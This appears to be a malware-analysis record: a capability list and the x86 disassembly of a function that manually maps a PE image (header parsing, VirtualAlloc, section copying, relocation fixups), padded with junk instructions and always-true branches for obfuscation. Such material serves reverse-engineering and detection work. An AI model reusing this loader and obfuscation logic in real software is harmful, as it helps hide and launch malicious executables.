Function at 0x403ab0
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [ebp + 8]
vmovss xmm0, dword [0x4181b4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181b0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181ac]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403af5
jmp 0x403b0f
vmovss xmm0, dword [0x4181bc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181b8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181c0]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b2b
jmp 0x403b45
vmovss xmm0, dword [0x4181c8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181c4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181cc]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b61
jmp 0x403b7b
vmovss xmm0, dword [0x4181d4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181d0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181d8]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403b97
jmp 0x403bb1
vmovss xmm0, dword [0x4181e0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181dc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181e4]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x403bcd
jmp 0x403be7
vmovss xmm0, dword [0x4181ec]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181e8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4181f8]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181f4]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181f0]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c1d
jmp 0x403c37
vmovss xmm0, dword [0x418200]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4181fc]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418204]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c53
jmp 0x403c6d
vmovss xmm0, dword [0x41820c]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418208]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418210]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403c89
jmp 0x403ca3
vmovss xmm0, dword [0x418218]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418214]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41821c]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403cbf
jmp 0x403cd9
vmovss xmm0, dword [0x418224]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418220]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x418228]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x403cf5
jmp 0x403d0f
vmovss xmm0, dword [0x418230]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41822c]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x41823c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418238]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418234]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403d45
jmp 0x403d5f
vmovss xmm0, dword [0x418244]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418240]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418248]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403d7b
jmp 0x403d95
vmovss xmm0, dword [0x418250]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41824c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418254]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403db1
jmp 0x403dcb
vmovss xmm0, dword [0x41825c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418258]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418260]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403de7
jmp 0x403e01
vmovss xmm0, dword [0x418268]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418264]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41826c]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x403e1d
jmp 0x403e37
vmovss xmm0, dword [0x418274]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418270]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x418280]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41827c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418278]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403e6d
jmp 0x403e87
vmovss xmm0, dword [0x418288]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418284]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41828c]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403ea3
jmp 0x403ebd
vmovss xmm0, dword [0x418294]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418290]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x418298]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403ed9
jmp 0x403ef3
vmovss xmm0, dword [0x4182a0]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41829c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182a4]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403f0f
jmp 0x403f29
vmovss xmm0, dword [0x4182ac]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182a8]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182b0]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x403f45
jmp 0x403f5f
vmovss xmm0, dword [0x4182b8]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182b4]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x4182c4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182c0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182bc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403f95
jmp 0x403faf
vmovss xmm0, dword [0x4182cc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182c8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182d0]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x403fcb
jmp 0x403fe5
vmovss xmm0, dword [0x4182d8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182d4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182dc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x404001
jmp 0x40401b
vmovss xmm0, dword [0x4182e4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182e0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182e8]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x404037
jmp 0x404051
vmovss xmm0, dword [0x4182f0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182ec]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182f4]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x40406d
jmp 0x404087
vmovss xmm0, dword [0x4182fc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4182f8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x418308]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418304]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418300]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4040bd
jmp 0x4040d7
vmovss xmm0, dword [0x418310]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41830c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418314]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4040f3
jmp 0x40410d
vmovss xmm0, dword [0x41831c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418318]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418320]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x404129
jmp 0x404143
vmovss xmm0, dword [0x418328]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418324]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41832c]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x40415f
jmp 0x404179
vmovss xmm0, dword [0x418334]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418330]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x418338]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x404195
jmp 0x4041af
vmovss xmm0, dword [0x418340]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41833c]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41834c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418348]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418344]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4041e5
jmp 0x4041ff
vmovss xmm0, dword [0x418354]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418350]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418358]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x40421b
jmp 0x404235
vmovss xmm0, dword [0x418360]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41835c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418364]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x404251
jmp 0x40426b
vmovss xmm0, dword [0x41836c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418368]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418370]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x404287
jmp 0x4042a1
vmovss xmm0, dword [0x418378]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418374]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41837c]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4042bd
jmp 0x4042d7
vmovss xmm0, dword [0x418384]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418380]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x418390]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41838c]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x418388]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x40430d
jmp 0x404327
vmovss xmm0, dword [0x418398]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x418394]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41839c]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x404343
jmp 0x40435d
vmovss xmm0, dword [0x4183a4]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183a0]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183a8]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x404379
jmp 0x404393
vmovss xmm0, dword [0x4183b0]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183ac]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183b4]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x4043af
jmp 0x4043c9
vmovss xmm0, dword [0x4183bc]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183b8]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183c0]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x4043e5
jmp 0x4043ff
vmovss xmm0, dword [0x4183c8]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x4183c4]
vmovss dword [ebp - 0x30], xmm0
mov esi, 0xe0
sub eax, 0x58
not edi
imul ebx
ror edx, 0x37
and ebx, 0xeb
dec eax
or esi, 0x65
sbb edx, 0x20
or edi, 0xe9
bswap esi
imul ebx
bswap ebx
not ebx
rcl edi, 0x13
rol eax, 0xc6
not ebx
neg eax
rcl edi, 0xb7
sub edi, 0xe1
dec edx
bswap eax
sub ebx, 0x8b
and esi, 0xec
rol eax, 0x86
add edi, 0x77
not eax
inc edi
neg eax
rcr ebx, 0xd9
rol esi, 0x19
rcr esi, 0x7b
bswap eax
not edi
mov edi, 0x8f
bswap edx
or esi, 0xa2
rol eax, 0xf9
add esi, 0xb9
sub edx, 0xb9
not ebx
not edi
imul esi
or edx, 0xe1
bswap ebx
dec eax
inc edi
inc edx
dec ebx
rcl edi, 0x57
rcr esi, 0xe4
bswap eax
not edi
sub esi, 3
ror eax, 0x29
imul eax
add eax, 0x4c
add ebx, 0xd5
dec edx
not eax
imul esi
or edi, 0x60
dec eax
inc eax
or edi, 0x3a
add eax, 0x6b
neg edi
add edi, 0x21
sub eax, 0x39
and edx, 0x12
bswap eax
sbb edi, 0x17
ror edi, 0x98
not edx
inc ebx
sbb edi, 0x75
bswap ebx
not edi
inc edx
dec edi
imul eax
bswap ebx
mov esi, 0x8b
bswap eax
rol eax, 0xc5
bswap edi
neg edi
ror edi, 0x28
add ebx, 0x58
not edx
imul edx
rcr edi, 0x27
dec edi
sub edi, 0xe9
sub esi, 0xa2
bswap edx
imul edi
or eax, 0x78
sbb edi, 0x84
rcl eax, 0xfa
inc eax
inc eax
not edx
or eax, 0x5c
rol esi, 0x9e
sub eax, 0xd7
mov ebx, 0x89
rcr eax, 0xcd
bswap eax
rol eax, 0xda
not eax
dec edi
and ebx, 0x83
or edi, 0x40
bswap edi
rol edi, 0x2a
sbb edx, 0x39
inc esi
inc edx
dec eax
or edx, 0x17
bswap ebx
bswap eax
dec edx
imul edi
or edx, 0x72
dec ebx
rcr edi, 0x1d
dec edx
imul edi
sbb edx, 0xea
and edi, 0x9c
sub esi, 0x84
not edx
ror eax, 0xec
bswap edx
rcl esi, 0x5a
rcr esi, 0x7c
neg esi
inc esi
dec ebx
rcr ebx, 0xf9
mov edi, 0xea
rcl eax, 8
ror eax, 0xfc
neg edx
ror edx, 0xff
rcl edi, 0xc6
dec ebx
add edx, 0x56
rcl eax, 0x1c
bswap esi
ror eax, 0xe7
rcl eax, 0xdf
inc esi
sub esi, 0x3c
neg esi
not esi
rol eax, 0xcf
or edx, 0xc1
add esi, 0x11
ror edi, 0xe0
or edx, 0xb6
rol esi, 0xbf
imul eax
bswap edi
neg edi
not edi
sbb edx, 0x2d
add ebx, 0x71
not ebx
add esi, 0xbe
sub edi, 0x13
and edi, 0xd4
rcr edx, 0x46
not esi
sbb ebx, 0x7e
rol eax, 0xee
bswap ebx
inc edx
bswap eax
rol esi, 0x39
add edx, 0x4d
bswap eax
neg edx
and eax, 0xe4
imul eax
mov ebx, 0x19
neg esi
ror eax, 0xdf
not esi
inc eax
rcl ebx, 0x1b
ror ebx, 0x4a
rcl ebx, 0x7e
bswap esi
bswap ebx
bswap edi
not edi
rcl ebx, 0xcc
mov dword [ebp - 0x10], eax
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x61000
call fcn.00403820
lea eax, section..data
mov dword [ebp + 8], eax
not edx
rcr esi, 0x3b
mov edx, 0x9b
bswap edi
inc esi
rol edx, 0xcb
mov esi, 7
inc ebx
ror edx, 0xfe
not ebx
neg eax
dec esi
ror edi, 0xa1
not ebx
and edi, 0xc2
bswap eax
rol eax, 0xb7
ror edx, 0xd5
ror edi, 0xef
bswap ebx
neg edx
bswap edi
sbb edi, 0x98
bswap edx
ror ebx, 0x68
bswap esi
bswap eax
dec edx
bswap edi
sub edx, 0x5e
sub edi, 0x14
dec ebx
imul edx
neg ebx
rol ebx, 0x85
dec eax
imul esi
inc ebx
rcl edx, 0xec
imul eax
not ebx
rcr edx, 0x5f
ror esi, 0x50
dec eax
or ebx, 0xe6
rol esi, 0x76
dec eax
inc edx
neg eax
rcr ebx, 0x3d
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0x4550
je 0x4046f5
mov dword [ebp - 0x10], 1
jmp 0x405aa5
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x40], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x3c], 0
je 0x40472d
xor eax, eax
mov dword [ebp - 0x138], eax
jmp 0x404739
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x138]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x3c], 0
jne 0x40478d
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x40478d
mov dword [ebp - 0x10], 2
jmp 0x405aa5
inc edi
or edi, 0xaf
neg esi
add edi, 0x27
mov eax, 0x1b
not edi
neg edi
ror ebx, 0x3a
rcr ebx, 0xf6
sbb ebx, 0xaf
or esi, 0x8b
bswap eax
not ebx
inc esi
or edx, 0xe
mov ebx, 0x96
dec esi
inc esi
neg edx
bswap ebx
rcl edi, 0xee
bswap eax
and edx, 0x43
imul edi
inc esi
sbb edi, 0xb6
inc esi
sub edx, 0x61
not eax
rcl esi, 0x31
or esi, 0xc2
not eax
bswap ebx
inc edi
rcl ebx, 0x78
sbb esi, 0xa5
or esi, 0x50
and ebx, 0xaa
rcl edx, 0xe2
ror edi, 0x36
rcr eax, 0x6c
add edx, 0xda
dec esi
imul edi
ror ebx, 0x42
bswap edx
imul edi
and ebx, 0x91
rol esi, 0x61
rcl eax, 0xb5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x44]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00403a80
neg ebx
inc eax
bswap edx
and eax, 0xed
sbb esi, 0x2d
dec eax
neg eax
not eax
neg edx
bswap esi
rcr esi, 0xfc
not edi
add ebx, 0x8f
dec edi
add edx, 0xb0
imul edi
not eax
neg eax
mov edi, 0xa6
inc edx
rcl ebx, 0x76
neg eax
dec edx
rcl edx, 0xb8
rol esi, 0xd9
not edx
mov ebx, 0x60
rcl esi, 0xdd
mov esi, 0x8a
bswap edi
dec edi
dec ebx
ror edi, 0xb9
neg eax
bswap esi
dec edx
rcl eax, 4
rcr ebx, 0xd1
bswap edi
sub esi, 0xf
inc edi
inc ebx
sbb edi, 0x9f
inc edx
inc ebx
inc eax
and edx, 0x2a
not eax
ror edi, 0xa1
ror esi, 0x4e
neg ebx
imul esi
ror edx, 0x1a
neg eax
rol esi, 0x67
mov edi, 0xbe
bswap eax
bswap edi
rcl edx, 0x26
inc edx
rcr esi, 0xf9
and edx, 0x27
bswap esi
inc edx
inc edx
neg ebx
bswap eax
sbb eax, 0xbd
rcr ebx, 0xb2
imul eax
and ebx, 0xd
and eax, 0xe1
sbb esi, 0xdf
rcl edx, 0xa0
rol edx, 0x67
not edx
inc edi
rcr edx, 0xc3
and edx, 0x64
bswap ebx
sbb edi, 0xc2
imul edx
rol ebx, 0x81
sbb ebx, 0xbd
inc edx
rcr ebx, 0xb9
inc ebx
imul ebx
inc eax
neg eax
sub edx, 0x1b
inc edx
or edi, 9
mov ebx, 0x54
imul edi
and eax, 0x68
rol edi, 0x13
not edi
inc edx
inc esi
rol edx, 0x19
and eax, 0x37
rcr ebx, 0x91
mov eax, 0xfb
dec edx
rcr edx, 0xc9
and edi, 0x29
rol esi, 0xb0
rcl edx, 0xfb
rcr edi, 0xee
bswap ebx
ror eax, 0xef
ror ebx, 0x49
inc esi
imul edi
not eax
rcl eax, 0x3a
imul edi
inc ebx
inc edx
sbb ebx, 0x9d
not eax
neg edx
inc eax
bswap ebx
sbb ebx, 0x61
imul eax
rcr esi, 0xc3
sub edi, 0xa
sbb edi, 0x7c
neg edx
add ebx, 0x86
sub esi, 0xe8
rol ebx, 0xaa
ror edx, 0x84
rcr eax, 0xb4
dec ebx
mov edi, 0x9d
neg ebx
sub esi, 0x51
imul eax
imul esi
rcl edi, 0x63
bswap edx
add edx, 0xf0
not edi
dec ebx
imul esi
mov edi, 0x10
not edi
neg edx
and edi, 0xa7
rol edi, 0x9e
inc edi
rcr eax, 0xe7
and ebx, 0x8e
and edx, 0xa9
and edx, 0x95
sub edi, 0xd9
sub edx, 0xb2
or edi, 0x7f
add ebx, 0xdc
inc esi
or ebx, 0xa
bswap esi
dec edx
neg edi
ror edx, 0xdf
not edx
inc eax
not ebx
ror edx, 0x13
dec esi
sbb eax, 2
neg edi
dec eax
rcr esi, 0xc
neg edx
or esi, 0x65
and esi, 0x94
neg edx
dec edx
imul edx
not ebx
ror edi, 0xe8
sub esi, 0x80
dec edi
sbb eax, 0xb5
mov ebx, 0x55
rol edi, 0x47
imul eax
not edx
bswap edx
not edi
sbb eax, 0xc0
not ebx
bswap edx
rcl eax, 0x64
sbb esi, 0x6e
sbb eax, 0x25
mov esi, 0x25
bswap ebx
rcl eax, 0xea
ror eax, 0x77
add edx, 0x63
dec esi
mov ebx, 0xe5
add edx, 0x25
dec eax
or eax, 0xfc
not esi
mov esi, 0xf8
imul esi
and eax, 0xca
add edx, 0x71
mov eax, 0x49
add ebx, 0xd1
sbb eax, 0xcc
not edx
imul esi
dec eax
dec eax
rcl eax, 0x26
or edx, 0x91
neg edx
inc ebx
neg edi
dec esi
bswap eax
inc eax
neg edi
bswap edi
neg eax
imul edx
inc edx
rcl edi, 2
rcl edx, 0xec
rol eax, 0x3c
and edx, 0xe7
or edi, 0xe
imul edi
sbb ebx, 0xaa
imul edx
sbb edi, 0x1b
sub edi, 0x93
bswap edi
dec esi
ror eax, 0xf3
sub edi, 0x1d
neg esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
add eax, 0x18
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x404b67
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x4c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
imul esi, dword [ebp - 0x4c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x48]
imul edi, dword [ebp - 0x4c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00403a80
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
jmp 0x404b0d
ror eax, 0xf2
imul eax
or ebx, 0x51
neg eax
not esi
bswap eax
sbb eax, 0xfb
inc eax
inc edi
inc eax
add esi, 0x14
sub ebx, 0x7f
inc ebx
mov esi, 0xea
rol edx, 0xd9
dec edi
inc ebx
not ebx
neg eax
mov edi, 0x3e
bswap edi
ror edi, 0x3f
neg ebx
neg ebx
rcl edx, 0xa0
bswap esi
ror esi, 0xc3
dec edi
or esi, 0xe
or ebx, 0xb8
neg ebx
not esi
bswap edx
and esi, 0xea
mov eax, 0xd2
rcr edi, 0x38
or edi, 0xb4
neg edx
dec edx
not edx
inc eax
or ebx, 0xd0
or ebx, 0xa2
bswap ebx
sbb esi, 0x2c
rol edi, 0xb0
add eax, 0x5f
rol edx, 0xf3
ror eax, 0xd7
dec edi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x404cbf
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x3c]
jae 0x404cba
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x54]
add eax, 8
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x60]
jge 0x404ca3
mov eax, dword [ebp - 0x64]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x404c8c
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x64]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
add eax, 2
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
jmp 0x404c53
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x54], eax
jmp 0x404c1e
jmp 0x404cbf
dec eax
and ebx, 0xc0
and eax, 0x85
add ebx, 0x28
mov ebx, 0xdc
add edi, 0xd3
bswap ebx
ror ebx, 0x3a
neg edx
inc eax
dec ebx
neg edx
imul esi
bswap eax
sub eax, 0x21
or eax, 0xab
neg edi
rcl esi, 0xd1
neg edi
bswap eax
sub edx, 0xdf
sbb esi, 0x13
inc esi
sub eax, 0xe3
imul edx
inc edi
mov edi, 0x9b
not eax
and esi, 0x89
sbb edi, 0x88
bswap edi
add eax, 0x21
inc edi
rcr edi, 0x1d
mov edi, 0x16
bswap edx
sub edi, 0xe3
not edx
imul edx
bswap esi
neg esi
rol edi, 0xce
imul edx
imul edi
inc edx
or edx, 0xb1
inc ebx
imul eax
dec esi
neg edi
add edx, 0xf2
rcr eax, 0x5c
not edi
not edx
not esi
neg edx
neg esi
bswap edi
imul eax
or edx, 0x85
neg edx
inc eax
sbb esi, 0x59
inc ebx
mov eax, 0x2c
dec edx
not esi
imul edx
rcr esi, 0x46
sbb edi, 0xf1
neg edi
mov eax, 0x73
imul edx
add ebx, 0x15
imul edi
not edi
rol ebx, 6
neg edx
rcr eax, 0x47
sub edx, 6
neg edx
inc edx
inc edx
mov ebx, 0xd8
imul edi
dec edi
inc ebx
rcr eax, 0xdb
dec edx
ror edi, 0x55
and edx, 0x44
neg ebx
dec ebx
not ebx
rol edx, 0x5e
or esi, 0x2a
dec edi
neg edx
rol edx, 0x3e
sbb edx, 0xec
mov esi, 0x24
rcl edx, 0x58
sbb edi, 0xd6
rcr edx, 0x53
imul edi
rol eax, 0xe7
neg eax
not ebx
dec edx
and edx, 0xca
neg eax
sbb esi, 0x35
and esi, 0x66
ror edi, 0x28
not edi
sbb eax, 0xb5
mov esi, 0x90
sbb esi, 0x83
sub edx, 0x28
not esi
dec eax
add eax, 0xe3
rol edx, 0xa1
sbb edi, 0x66
bswap edi
dec edx
or esi, 0x8e
and ebx, 0xdd
